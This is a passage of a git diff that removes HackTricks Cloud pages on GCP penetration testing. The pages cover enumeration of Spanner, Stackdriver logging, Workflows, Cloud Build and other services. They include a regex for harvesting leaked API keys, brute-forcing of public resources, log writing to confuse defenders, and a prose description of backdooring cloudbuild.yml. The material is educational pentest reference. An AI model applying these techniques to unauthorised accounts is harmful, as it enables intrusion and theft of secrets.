-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md
deleted file mode 100644
index 7f6921598..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# GCP - Spanner Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## [Cloud Spanner](https://cloud.google.com/sdk/gcloud/reference/spanner/)
-
-Fully managed relational database with unlimited scale, strong consistency, and up to 99.999% availability.
-
-```bash
-# Cloud Spanner
-## Instances
-gcloud spanner instances list
-gcloud spanner instances describe <INSTANCE>
-gcloud spanner instances get-iam-policy <INSTANCE>
-
-## Databases
-gcloud spanner databases list --instance <INSTANCE>
-gcloud spanner databases describe --instance <INSTANCE> <db_name>
-gcloud spanner databases get-iam-policy --instance <INSTANCE> <db_name>
-gcloud spanner databases execute-sql --instance <INSTANCE> --sql <sql> <db_name> 
-
-## Backups
-gcloud spanner backups list --instance <INSTANCE>
-gcloud spanner backups get-iam-policy --instance <INSTANCE> <backup_name>
-
-## Instance Configs
-gcloud spanner instance-configs list
-gcloud spanner instance-configs describe <name>
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md
deleted file mode 100644
index 1e9390a4e..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# GCP - Stackdriver Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## [Stackdriver logging](https://cloud.google.com/sdk/gcloud/reference/logging/)
-
-[**Stackdriver**](https://cloud.google.com/stackdriver/) is recognized as a comprehensive infrastructure **logging suite** offered by Google. It has the capability to capture sensitive data through features like syslog, which reports individual commands executed inside Compute Instances. Furthermore, it monitors HTTP requests sent to load balancers or App Engine applications, network packet metadata within VPC communications, and more.
-
-For a Compute Instance, the corresponding service account requires merely **WRITE** permissions to facilitate logging of instance activities. Nonetheless, it's possible that an administrator might **inadvertently** provide the service account with both **READ** and **WRITE** permissions. In such instances, the logs can be scrutinized for sensitive information.
-
-To accomplish this, the [gcloud logging](https://cloud.google.com/sdk/gcloud/reference/logging/) utility offers a set of tools. Initially, identifying the types of logs present in your current project is recommended.
-
-```bash
-# List logs
-gcloud logging logs list
-
-# Read logs
-gcloud logging read [FOLDER]
-
-# Write logs
-# An attacker writing logs may confuse the Blue Team
-gcloud logging write [FOLDER] [MESSAGE]
-
-# List Buckets
-gcloud logging buckets list
-```
-
-## References
-
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
-* [https://initblog.com/2020/gcp-post-exploitation/](https://initblog.com/2020/gcp-post-exploitation/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md
deleted file mode 100644
index 4e909b9c1..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# GCP - Workflows Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-**Google Cloud Platform (GCP) Workflows** is a service that helps you automate tasks that involve **multiple steps** across Google Cloud services and other web-based services. Think of it as a way to set up a **sequence of actions** that run on their own once triggered. You can design these sequences, called workflows, to do things like process data, handle software deployments, or manage cloud resources without having to manually oversee each step.
-
-### Encryption
-
-Related to encryption, by default the **Google-managed encryption key is use**d but it's possible to make it use a key of by customers.
-
-## Enumeration
-
-{% hint style="danger" %}
-You can also check the output of previous executions to look for sensitive information
-{% endhint %}
-
-{% code overflow="wrap" %}
-```bash
-# List Workflows
-gcloud workflows list
-
-# Get info and yaml of an specific workflow
-gcloud workflows describe <workflow-name>
-
-# List executions
-gcloud workflows executions list workflow-1
-
-# Get execution info and output
-gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
-```
-{% endcode %}
-
-### Privesc and Post Exploitation
-
-{% content-ref url="../gcp-privilege-escalation/gcp-workflows-privesc.md" %}
-[gcp-workflows-privesc.md](../gcp-privilege-escalation/gcp-workflows-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md
deleted file mode 100644
index fd78bc1bb..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# GCP - Unauthenticated Enum & Access
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Public Assets Discovery
-
-One way to discover public cloud resources that belongs to a company is to scrape their webs looking for them. Tools like [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) will scrape the web an search for **links to public cloud resources** (in this case this tools searches `['amazonaws.com', 'digitaloceanspaces.com', 'windows.net', 'storage.googleapis.com', 'aliyuncs.com']`)
-
-Note that other cloud resources could be searched for and that some times these resources are hidden behind **subdomains that are pointing them via CNAME registry**.
-
-## Public Resources Brute-Force
-
-### Buckets, Firebase, Apps & Cloud Functions
-
-* [https://github.com/initstring/cloud\_enum](https://github.com/initstring/cloud_enum): This tool in GCP brute-force Buckets, Firebase Realtime Databases, Google App Engine sites, and Cloud Functions
-* [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute): This tool in GCP brute-force Buckets and Apps.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
deleted file mode 100644
index 80e5cfb49..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
+++ /dev/null
@@ -1,78 +0,0 @@
-# GCP - API Keys Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## API Keys
-
-For more information about API Keys check:
-
-{% content-ref url="../gcp-services/gcp-api-keys-enum.md" %}
-[gcp-api-keys-enum.md](../gcp-services/gcp-api-keys-enum.md)
-{% endcontent-ref %}
-
-### OSINT techniques
-
-**Google API Keys are widely used by any kind of applications** that uses from the client side. It's common to find them in for websites source code or network requests, in mobile applications or just searching for regexes in platforms like Github.
-
-The regex is: **`AIza[0-9A-Za-z_-]{35}`**
-
-Search it for example in Github following: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F\&type=code\&ref=advsearch)
-
-### Check origin GCP project - `apikeys.keys.lookup`
-
-This is extremely useful to check to **which GCP project an API key that you have found belongs to**:
-
-```bash
-# If you have permissions
-gcloud services api-keys lookup AIzaSyD[...]uE8Y
-name: projects/5[...]6/locations/global/keys/28d[...]e0e
-parent: projects/5[...]6/locations/global
-
-# If you don't, you can still see the project ID in the error msg
-gcloud services api-keys lookup AIzaSy[...]Qbkd_oYE
-ERROR: (gcloud.services.api-keys.lookup) PERMISSION_DENIED: Permission 'apikeys.keys.lookup' denied on resource project.
-Help Token: ARD_zUaNgNilGTg9oYUnMhfa3foMvL7qspRpBJ-YZog8RLbTjCTBolt_WjQQ3myTaOqu4VnPc5IbA6JrQN83CkGH6nNLum6wS4j1HF_7HiCUBHVN
-- '@type': type.googleapis.com/google.rpc.PreconditionFailure
-  violations:
-  - subject: ?error_code=110002&service=cloudresourcemanager.googleapis.com&permission=serviceusage.apiKeys.getProjectForKey&resource=projects/89123452509
-    type: googleapis.com
-- '@type': type.googleapis.com/google.rpc.ErrorInfo
-  domain: apikeys.googleapis.com
-  metadata:
-    permission: serviceusage.apiKeys.getProjectForKey
-    resource: projects/89123452509
-    service: cloudresourcemanager.googleapis.com
-  reason: AUTH_PERMISSION_DENIED
-```
-
-### Brute Force API endspoints
-
-As you might not know which APIs are enabled in the project, it would be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
deleted file mode 100644
index b6340a72b..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# GCP - App Engine Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## App Engine
-
-For more information about App Engine check:
-
-{% content-ref url="../gcp-services/gcp-app-engine-enum.md" %}
-[gcp-app-engine-enum.md](../gcp-services/gcp-app-engine-enum.md)
-{% endcontent-ref %}
-
-### Brute Force Subdomains
-
-As mentioned the URL assigned to App Engine web pages is **`<project-uniq-name>.appspot.com`** and if a service name is used it'll be: **`<servicename>-dot-<project-uniq-name>.appspot.com`**.
-
-As the **`project-uniq-name`** can be set by the person creating the project, they might be not that random and **brute-forcing them could find App Engine web apps exposed by companies**.
-
-You could use tools like the ones indicated in:
-
-{% content-ref url="./" %}
-[.](./)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
deleted file mode 100644
index 2e3594d5a..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - Artifact Registry Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Artifact Registry
-
-For more information about Artifact Registry check:
-
-{% content-ref url="../gcp-services/gcp-artifact-registry-enum.md" %}
-[gcp-artifact-registry-enum.md](../gcp-services/gcp-artifact-registry-enum.md)
-{% endcontent-ref %}
-
-### Dependency Confusion
-
-Check the following page:
-
-{% content-ref url="../gcp-persistence/gcp-artifact-registry-persistence.md" %}
-[gcp-artifact-registry-persistence.md](../gcp-persistence/gcp-artifact-registry-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
deleted file mode 100644
index 57d506c09..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# GCP - Cloud Build Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Build
-
-For more information about Cloud Build check:
-
-{% content-ref url="../gcp-services/gcp-cloud-build-enum.md" %}
-[gcp-cloud-build-enum.md](../gcp-services/gcp-cloud-build-enum.md)
-{% endcontent-ref %}
-
-### cloudbuild.yml
-
-If you compromise write access over a repository containing a file named **`cloudbuild.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a Cloud Build and exfiltrate the secrets, compromise what is done and also compromise the **Cloud Build service account.**
-
-{% hint style="info" %}
-Note that GCP has the option to allow administrators to control the execution of build systems from external PRs via "Comment Control". Comment Control is a feature where collaborators/project owners **need to comment “/gcbrun” to trigger the build** against the PR and using this feature inherently prevents anyone on the internet from triggering your build systems.
-{% endhint %}
-
-For some related information you could check the page about how to attack Github Actions (similar to this):
-
-{% content-ref url="../../../pentesting-ci-cd/github-security/abusing-github-actions/" %}
-[abusing-github-actions](../../../pentesting-ci-cd/github-security/abusing-github-actions/)
-{% endcontent-ref %}
-
-### PR Approvals
-
